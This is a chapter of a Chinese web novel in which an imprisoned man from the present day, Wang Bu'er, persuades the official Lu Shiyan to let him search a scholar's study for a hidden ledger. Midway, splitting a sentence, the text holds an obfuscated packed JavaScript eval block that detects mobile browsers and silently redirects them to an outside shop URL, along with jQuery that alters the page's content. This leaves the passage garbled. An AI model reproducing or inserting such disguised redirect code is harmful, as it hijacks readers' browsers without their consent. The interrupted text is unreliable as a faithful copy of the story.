王不二是被铁链声吵醒的。
他睁开眼,看见牢房外面的过道里站着两个锦衣卫,手里捧着干净的衣服和一盆热水。旁边放着一个食盒,盖子半开着,里面飘出肉粥的香气。
他愣了一下,之前吃的是冷粥、馒头和烂菜叶。
敢情今天伙食好起来了?
在陈璟全程担忧的注视下,王不二吃完了早饭:“兄弟,还有吗?还没饱。”
“王先生,陆大人请您过去。事情办成了,自然还有。”
不是“提审”,是“请”。
王不二看了眼陈璟,挑了挑眉。
陆时研遇到麻烦了。
他跟着锦衣卫穿过三道门,又走进了昨晚那间屋子。
陆时研坐在桌后,面前摊着一张纸,上面密密麻麻写满了字。他的脸色不太好,眼底有明显的青黑,显然一夜没睡。
“坐。”
王不二坐下。
陆时研把那张纸推到他面前。
“师爷一早去了孙捷家,翻了一个时辰,什么都没找到。”
王不二低头看那张纸,是师爷写的搜查报告。上面列着王翰书房的布局:三间打通的大屋,四面墙全是书架,从地板顶到天花板。书架上摆了上千本书,经史子集、诗词歌赋、笔记小说、地方志、农书、医书,什么都有。
师爷在报告最后写了一行字:“所有书籍均已翻检,未发现账册。”
王不二抬起头,看着陆时研:“大人,师爷是怎么翻的?”
“一本一本翻的。每本书都抖过,没有夹带。”
“那书架后面呢?墙壁里面呢?地板下面呢?”
“都查过了。”陆时研的声音有些烦躁,“孙捷家就那么大,师爷带了四个人,把书房翻了个底朝天。什么都没有。”
王不二沉默了一会儿:“大人,董志文不是傻子。他不会把账册藏在一个随便翻翻就能找到的地方。”
“本官知道。”
陆时研忽然勾了勾嘴角,盯着他:“你说现在怎么办?”
还能怎么办。
只能他来收场了呗。
王不二眨眨眼,顺势道:“大人,学生需要去王翰家看看。”
陆时研明知故问:“哦?你去?”
“是。”王不二点头,“师爷找不到,是因为他不知道董志文是怎么藏的。小人需要亲眼看看孙捷的书房,才能知道董志文把东西藏在了哪里。”
“你怎么知道你能找到?”
“小人不知道。”
“你知道如果你找不到,会怎样?”
“小人知道。”
“那你还敢去?”
“小人敢。”王不二抬起头,“因为学生不会找不到。”
陆时研沉默了一会儿,站起身:“走吧。本官亲自带你去。”
“大人等等。”
“怎么?害怕了?”
“我能洗个头吗?”
一个礼拜没洗头了,对他这种上辈子每天都洗头的洁癖来说,真的很难忍受!
陆时研:......
*
王不二洗漱完毕,再被带出来的时候,身上换了一件青布长衫。不是新的,但比囚服干净多了。他的头发重新束过,脸上也洗过了,看起来像个落魄的读书人,不像个犯人。
陆时研上下打量了他一眼:“像那么回事了。”
“大人,学生这么去孙捷家,孙捷不会起疑心吗?”
“会。所以本官需要一个借口。”
王不二看着他,挑眉等他往下说。
“本官跟孙捷就说,家中有个晚辈要科举,想找几本好的策论范文。听说孙捷的文章写得好,想借几本他早年写的策论回去给晚辈临摹。你是本官请的教书先生。学问不错,帮本官的晚辈批改文章。带你去,是因为你对策论也有研究,可以帮孙捷一起挑。”
王不二从现代来的,原主读的书可都没在他脑子里。
他连古文都看的费劲,更别提那种文
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420293|200809||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
邹邹的策论了。
“但有一个问题。”王不二一转眼珠子。
“什么问题?”
“师爷刚来过。师爷打着‘借书’的旗号来翻了一遍,什么都没找到就走了。现在大人又带着学生来‘借书’,孙捷不会觉得奇怪吗?”
陆时研沉默了一会儿:“你说得对。那本官说,师爷是粗人,不懂文章好坏,拿回去的几篇策论,本官看了不满意。所以本官亲自来,带着懂行的人,重新挑。”
“还有一个问题。”
“什么问题?”
“小人大闹刑场,看到过小人的人不少,万一孙捷或孙捷府上的人看到过小人,大人不好解释......”
“为何要把犯人说成教书先生。”
陆时研皱眉:“你说得对。本官疏忽了。”
他在屋里踱了两步。
“那就不瞒他。本官直接告诉他。你是刑部大牢里的犯人,但你对文章有研究,本官带你来帮忙挑书。至于你为什么是犯人。本官不说,他也不会问。”
王不二茫然了:“为什么不会问?”
陆时研:“这就是玉衡派的风气。不问对方的来路,只看对方的学问。”
王不二点点头,受教了。
他加起来活了两辈子,果然还是不懂文人。
“学生还有一个请求。”
“说。”
“到了孙捷家,大人只管跟孙捷喝茶聊天。书房里的事,交给小人。”
陆时研一拍桌子:“你知道你在说什么吗?你是犯人,不是刑部的官。”
“小人知道。”王不二说,“但小人要找的东西,大人和师爷都找不到。小人需要时间,需要安静,需要一个人翻。如果大人在旁边看着,小人反而放不开。”
这孙捷要是在旁边聊起学问,那王不二就是一问三不知,这还得了?
陆时研又沉默了很久。
“好。本官给你半个时辰。半个时辰找不到,你就跟本官回去。”